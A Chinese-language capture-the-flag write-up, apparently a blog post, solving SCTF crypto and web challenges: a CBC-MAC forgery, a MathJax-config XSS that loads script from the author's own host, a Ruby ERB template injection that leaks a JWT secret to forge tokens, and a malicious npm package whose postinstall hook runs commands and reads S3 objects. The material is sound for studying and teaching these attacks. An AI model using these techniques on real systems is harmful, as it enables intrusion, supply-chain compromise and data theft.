第一天状态挺好,第二天苟不动了,来写写 WriteUp 放松放松。
也是蛮巧,一二三血全凑齐了。
比赛题目的质量很高,学到了很多东西,出题的三叶草战队的师傅们辛苦了~
第一天状态挺好,第二天苟不动了,来写写 WriteUp 放松放松。也是蛮巧,一二三血全凑齐了。
也是蛮巧,一二三血全凑齐了。
比赛题目的质量很高,学到了很多东西,出题的三叶草战队的师傅们辛苦了~
一、Crypto
0x01. warmup
知识点:代码审计,AES加密
附件:
步骤:
1.打开审计一下源码,发现是 AES 加密。
#!/usr/bin/python
# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor
from Crypto.Random import get_random_bytes
from FLAG import flag
class MAC:
def __init__(self):
self.key = get_random_bytes(16)
self.iv = get_random_bytes(16)
def pad(self, msg):
pad_length = 16 - len(msg) % 16
return msg + chr(pad_length) * pad_length
def unpad(self, msg):
return msg[:-ord(msg[-1])]
def code(self, msg):
res = chr(0)*16
for i in range(len(msg)/16):
res = strxor(msg[i*16:(i+1)*16], res)
aes = AES.new(self.key, AES.MODE_CBC, self.iv)
return aes.encrypt(res).encode('hex')
def identity(self, msg, code):
if self.code(msg) == code:
msg = self.unpad(msg)
if msg == 'please send me your flag':
print 'remote: ok, here is your flag:%s' % flag
else:
print 'remote: I got it'
else:
print 'remote: hacker!'
if __name__ == '__main__':
mac = MAC()
message = 'see you at three o\'clock tomorrow'
print 'you seem to have intercepted something:{%s:%s}' %(mac.pad(message).encode('hex'), mac.code(mac.pad(message)))
print 'so send your message:'
msg = raw_input()
print 'and your code:'
code = raw_input()
mac.identity(msg.decode('hex'), code)
exit()
先给出了一段明文的 hex 和其加密之后的 hex,然后要求给出一段明文和其对应的密文,然后就就判断其为 “please send me your flag” 且密文正确的话就给出 flag。
这里很有意思的是这里
def code(self, msg):
res = chr(0)*16
for i in range(len(msg)/16):
res = strxor(msg[i*16:(i+1)*16], res)
aes = AES.new(self.key, AES.MODE_CBC, self.iv)
return aes.encrypt(res).encode('hex')
对明文进行异或摘要到 16 位之后,才进行加密的。
那么既然我们已知一组明文和密文,而且可以推算出其异或摘要之后获得的密钥,那么只要让我们传上去的明文摘要之后和前一组明文一致,那么就可以用前一组的密文来通过验证了。
2.对上面这个脚本进行改造,得到如下 POC 生成器,
#!/usr/bin/python
# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor
from Crypto.Random import get_random_bytes
flag = "fuck"
class MAC:
def __init__(self):
self.key = get_random_bytes(16)
self.iv = get_random_bytes(16)
def pad(self, msg):
pad_length = 16 - len(msg) % 16
return msg + chr(pad_length) * pad_length
def unpad(self, msg):
return msg[:-ord(msg[-1])]
def code(self, msg):
res = chr(0)*16
# 最终目的 res 相等 24054d4c1a0f19444e0f4016080f1805
for i in range(len(msg)/16):
res = strxor(msg[i*16:(i+1)*16], res)
aes = AES.new(self.key, AES.MODE_CBC, self.iv)
print(res.encode('hex'))
return aes.encrypt(res).encode('hex')
def identity(self, msg, code):
if self.code(msg) == code:
msg = self.unpad(msg)
if msg == 'please send me your flag':
print 'remote: ok, here is your flag:%s' % flag
else:
print 'remote: I got it'
else:
print 'remote: hacker!'
if __name__ == '__main__':
mac = MAC()
message = 'see you at three o\'clock tomorrow'
print 'you seem to have intercepted something:{%s:%s}' %(mac.pad(message).encode('hex'), mac.code(mac.pad(message)))
print 'so send your message:'
msg = 'please send me your flag'
print(msg)
msg_o = msg + chr(63 - len(msg)) * (63 - len(msg))
res = chr(0)*16
for i in range(len(msg_o)/16 - 1):
res = strxor(msg_o[i*16:(i+1)*16], res)
msg_o = msg_o[:32] + strxor("24054d4c1a0f19444e0f4016080f1805".decode('hex'), res) + msg_o[48:]
print(msg_o.encode('hex'))
print 'and your code:'
code = raw_input()
mac.identity(msg.decode('hex'), code)
exit()
解释一下,可以看到 code 那里我加了个 print ,输出第一组明文的十六位摘要和第二组明文的十六位摘要。
而后对第二组明文进行二次摘要,对其加上一段十六位文本,让其异或之后与第一段明文的十六位摘要相等。再加上 1~15 个 pad,最后处理时利用 pad 保留下我们需要的文本 ‘please send me your flag’。
【前 32 位不用动】【32~48 位 拿来和前面异或,使得和前面已知密文的明文摘要一致】【48~(49~63) 位 拿来 padding,不是 64 位就是为了让这一段不参与前面的摘要计算,保证最后一位可控】
运行,得到这段明文。
3.连接靶机,将明文和靶机返回的第一组明文提交,得到 flag。
4. Flag 到手~
二、Web
0x01. math-is-fun 1
知识点:利用外部组件进行的反射型 XSS
步骤:
1.打开靶机,是这样一个页面。
似乎要提交给管理员页面来看,页面没看到有可以提交进行储存的地方。
2.然后来看看页面源码。
这个地方似乎可控,来试试。
Nice,可以。
3.再来看看下面的 js。
可以看到,其对 config 进行解析,首先处理换行,而后对其进行解析
-config[‘name’]=value会被赋值到 window 的config里的 name value。
-name=value的会被赋值到 window 的 name,值为 value。
4.那么看看有什么地方读了 window 的,可以看到这里加载了 mathjax 来处理数学公式的显示。
5.点击进去看看源码,搜索 window,还真调用了。
可以看到其在初始化时将 window 里已有的 MathJax 存到自身的 AuthorConfig 里,而后其会读取这个设置,将里面的 root 作为组件的 root 进行设置。
那么就好办了,我们就构造一个参数,使其从我们的网站上加载我们的 js,这样想做啥都可以了,很棒的是这样加载不受 CSP 之类的限制,美滋滋。
6.构造如下,
name那里其实为
glzjin;
MathJax={"root":"http://xss.zhaoj.in/math"}
这样就达到我们之前想达到的目的了。
7.把这个链接打过去,就可以看到 XSSBOT 加载了什么资源了。
祖传算号器:
import string, hashlib
a = string.digits + string.lowercase + string.uppercase
for i in a:
for j in a:
for k in a:
for m in a:
s = hashlib.md5(i + j + k + m).hexdigest()[0:5]
if s == "5e86c":
print(i + j + k + m)
exit(0)
打
看我自己服务器日志,得
说明:这里其实我原本是直接在浏览器上看了看资源加载,没想到正常版的 Chrome 和 XSSBOT 的 headless Chrome 还有所不同,正常版 Chrome 加载的资源和 headless 的不同,错失一血- –
8.在服务器上创建一个这个路径的文件,
9.再打一遍。收 XSS。
10.Flag 到手~
0x02.math-is-fun2
同上一题,不再赘述
0x03.flag shop
知识点:Ruby ERB SSTI
备注:Ruby 摸得少,搜了一个下午都没搜到 Ruby 的全局变量 – -后来结束了和出题人 evoA 师傅一聊才知道得用美元符号的全局变量,哭了。在这里也还是写写 WriteUp 记录下。
步骤:
1、打开靶机,发现是这样一个页面。
2、看下页面源码,主要关注后面这一段,先获取信息,失败就去请求 auth。
auth 之后会得到一个 jwt token。看来之后的请求我们也得带上这个。
2、扫下敏感文件,有 robots.txt。
3、访问一下这个路径,是源码。
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
#ENV["SECRET"] = SecureRandom.hex(xx)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
4、可以看到 /work 那里有 ERB 模板,还直接把可控参数 name 拼进去了,那么这里我们就可以传入一些构造过的参数,来达到我们的目的了。比如 name=<%=1%>,就会得 1。
5、 继续看看源码,同时注意有这样一段意义不明的代码。似乎得传入 SECRET 参数。那么就一起带上。
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
5、对照 Ruby 全局变量表 ,不断 fuzz,发现$`有东西,
回溯到源码看看
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
其在模板渲染之前之前有个匹配,就是这里。要是 SECRET 参数存在则对其进行匹配,用传入的这个值去和 ENV[“SECRET”] 匹配,匹配上了就往终端输出 FLAG。意义不明的代码,但这里既然有匹配,就可以用全局变量读出来了,也就是用 $` 来读取匹配前的内容。
那么这里读出来的就是 ENV 的 SECRET 的一部分了。
6、然后我们 SECRET 不传试试,这样括号里的匹配就不进行,只进行括号外的 ENV[“SECRET”] 的匹配,再用全局变量 $` 就可以读出 ENV[“SECRET”] 了。
7、拿到了 secret 之后,到 jwt.io 伪造一下 cookie 里的 auth 里存的 jwt 令牌。jkl 设置为 2000000000000000000000000000 。
8、置 cookie,买 flag。
9、然后再解析一下新的 jwt token。
10、Flag 到手~
0x04.easy-web
知识点:RCE点找寻(预期解),NPM 包特性(非预期解)
备注:这题做出来之后和出题人 l0ca1 师傅聊了聊,发现是有 RCE 点的,在传入包名那- -不过到后面我这种蛇皮做法个人觉得反倒还方便些。以下我就写写自己的方法吧。
步骤:
1、打开靶机,是这样一个页面。
2、看看源码,是 vue 写的。
3、看下 app.js,找出其中的接口。
4、分析文件,
看到如下几个点
提示 {“npm”:[“jquery”,”moment”]} ,其功能为下载 npm包打包之后提供二次下载。
提示 key 为 abcdefghiklmn123,接口地址 /upload。
经过观察,测试,得到该接口的正确用法:
5、然后参考 https://juejin.im/post/5971aa866fb9a06bb5406c94 自己来构造一个包,里面不需要有实际内容,主要利用 npm 包 package json 里 script 段的 postinstall 配置,这种攻击在现实中也出现过。https://www.anquanke.com/post/id/85150
构建步骤:
mkdir glzjintest1
cd glzjintest1
npm init1
新建一个 index.js,内容如下
exports.showMsg = function () {
console.log("This is my first module");
};
编辑 package.json,
{
"name": "glzjintest1",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "grep -rn 'sctf' / > result.txt; exit 0"
},
"author": "",
"license": "ISC"
}
主要是改 scripts,postinstall 里面为你想执行的命令。这里我主要是想搜搜有没有 flag。
然后是推送包到 npmjs,
npm login
npm publish
6、然后请求靶机,让其下载这个包。
7、我们把返回的 URL 所指向的压缩包下载下来解压看看,可以看到我们的命令执行结果。没找到像 flag 的文件。
8、似乎 /var/task 是程序所在目录,打个包下下来看看。
继续修改 package.json,版本升级下,推包。
{
"name": "glzjintest1",
"version": "1.0.3",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "tar cvzf result.tar.gz /var/task/; exit 0"
},
"author": "",
"license": "ISC"
}
然后继续让靶机下载咱们这个包。
解压 result.tar.gz
9、审计源码 index.js
const koa = require("koa");
const AWS = require("aws-sdk");
const bodyparser = require('koa-bodyparser');
const Router = require('koa-router');
const async = require("async");
const archiver = require('archiver');
const fs = require("fs");
const cp = require("child_process");
const mount = require("koa-mount");
const cfg = {
"Bucket":"static.l0ca1.xyz",
"host":"static.l0ca1.xyz",
}
function getRandomStr(len) {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < len; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
};
function zip(archive, output, nodeModules) {
const field_name = getRandomStr(20);
fs.mkdirSync(`/tmp/${field_name}`);
archive.pipe(output);
return new Promise((res, rej) => {
async.mapLimit(nodeModules, 10, (i, c) => {
process.chdir(`/tmp/${field_name}`);
console.log(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`);
cp.exec(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`, (error, stdout, stderr) => {
if (error) {
c(null, error);
} else {
c(null, stdout);
}
});
}, (error, results) => {
archive.directory(`/tmp/${field_name}/`, false);
archive.finalize();
});
output.on('close', function () {
cp.exec(`rm -rf /tmp/${field_name}`, () => {
res("");
});
});
archive.on("error", (e) => {
cp.exec(`rm -rf /tmp/${field_name}`, () => {
rej(e);
});
});
});
}
const s3Parme = {
// accessKeyId:"xxxxxxxxxxxxxxxx",
// secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
const app = new koa();
const router = new Router();
app.use(bodyparser());
app.use(mount('/static',require('koa-static')(require('path').join(__dirname,'./static'))));
router.get("/", async (ctx) => {
return new Promise((resolve, reject) => {
fs.readFile(require('path').join(__dirname, './static/index.html'), (err, data) => {
if (err) {
ctx.throw("系统发生错误,请重试");
return;
};
ctx.type = 'text/html';
ctx.body = data.toString();
resolve();
});
});
})
.post("/login",async(ctx)=>{
if(!ctx.request.body.email || !ctx.request.body.password){
ctx.throw(400,"参数错误");
return;
}
ctx.body = {isUser:false,message:"用户名或密码错误"};
return;
})
.post("/upload", async (ctx) => {
const parme = ctx.request.body;
const nodeModules = parme.npm;
const key = parme.key;
if(typeof key == "undefined" || key!="abcdefghiklmn123"){
ctx.throw(403,"请求失败");
return;
}
if (typeof nodeModules == "undefined") {
ctx.throw(400, "JSON 格式错误");
return;
}
const zipFileName = `${getRandomStr(20)}.zip`;
var output = fs.createWriteStream(`/tmp/${zipFileName}`, { flags: "w" });
var archive = archiver('zip', {
zlib: { level: 9 },
});
try {
await zip(archive, output, nodeModules);
} catch (e) {
console.log(e);
ctx.throw(400,"系统发生错误,请重试");
return;
}
const zipBuffer = fs.readFileSync(`/tmp/${zipFileName}`);
const data = await s3.upload({ Bucket: cfg.Bucket, Key: `node_modules/${zipFileName}`, Body: zipBuffer ,ACL:"public-read"}).promise().catch(e=>{
console.log(e);
ctx.throw(400,"系统发生错误,请重试");
return;
});
ctx.body = {url:`http://${cfg.host}/node_modules/${zipFileName}`};
cp.execSync(`rm -f /tmp/${zipFileName}`);
return;
})
app.use(router.routes());
if (process.env && process.env.AWS_REGION) {
require("dns").setServers(['8.8.8.8','8.8.4.4']);
const serverless = require('serverless-http');
module.exports.handler = serverless(app, {
binary: ['image/*', 'image/png', 'image/jpeg']
});
}else{
app.listen(3000,()=>{
console.log(`listening 3000......`);
});
}
可以看到包是存在 亚马逊 s3 上的,而且在最后几行可以看出这个程序似乎是跑在亚马逊的 serverless 服务上的。
10、那么就来写个 nodejs 看看 s3 的 bucket 里有啥吧,把我们的包改下。
package.json 改为如下内容,版本升级,依赖加上,命令执行上。
{
"name": "glzjintest1",
"version": "1.0.7",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "cp index.js ../../test.js && cd ../../ && node test.js > result.txt; exit 0"
},
"author": "",
"license": "ISC",
"dependencies": {
"aws-sdk": "^2.449.0"
}
}
命令那里我复制到上上级 – -为了不重复下载依赖- -使得包太大。
index.js 改为如下内容:
const AWS = require("aws-sdk");
const s3Parme = {
// accessKeyId:"xxxxxxxxxxxxxxxx",
// secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
// Create the parameters for calling listObjects
var bucketParams = {
Bucket : 'static.l0ca1.xyz',
};
// Call S3 to obtain a list of the objects in the bucket
s3.listObjects(bucketParams, function(err, data) {
if (err) {
console.log("Error", err);
} else {
console.log("Success", data);
}
});
exports.showMsg = function () {
console.log("This is my first module");
};
读出 s3 里存的东西,从 serverless 里连接是不需要凭证的。
然后让靶机下载这个包。
解压,看到开头有个 flag 文件。
11、继续更改 package.json,提升版本。
{
"name": "glzjintest1",
"version": "1.1.0",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "cp index.js ../../test.js && cd ../../ && node test.js > result.txt; exit 0"
},
"author": "",
"license": "ISC",
"dependencies": {
"aws-sdk": "^2.449.0"
}
}
然后修改 index.js,为其添加读取这个 flag 文件的代码。
const AWS = require("aws-sdk");
const s3Parme = {
// accessKeyId:"xxxxxxxxxxxxxxxx",
// secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
// Create the parameters for calling listObjects
var bucketParams = {
Bucket : 'static.l0ca1.xyz',
};
// Call S3 to obtain a list of the objects in the bucket
s3.listObjects(bucketParams, function(err, data) {
if (err) {
console.log("Error", err);
} else {
console.log("Success", data);
}
});
var fileParam = {
Bucket : 'static.l0ca1.xyz',
Key: 'flaaaaaaaaag/flaaaag.txt'
};
s3.getObject(fileParam, function(err, data) {
if (err) console.log(err, err.stack); // an error occurred
else console.log(data); // successful response
});
exports.showMsg = function () {
console.log("This is my first module");
};
推包,让靶机下载。
下载回来,解压,得到文件内容。
解码下就是 flag。
12、Flag 到手~
9 个评论
aaaaa
tql
glzjin
– –
Fplyth0ner
tql
glzjin
– –
y1nhui
tql
glzjin
– –
123
tal
glzjin
– –
123
tql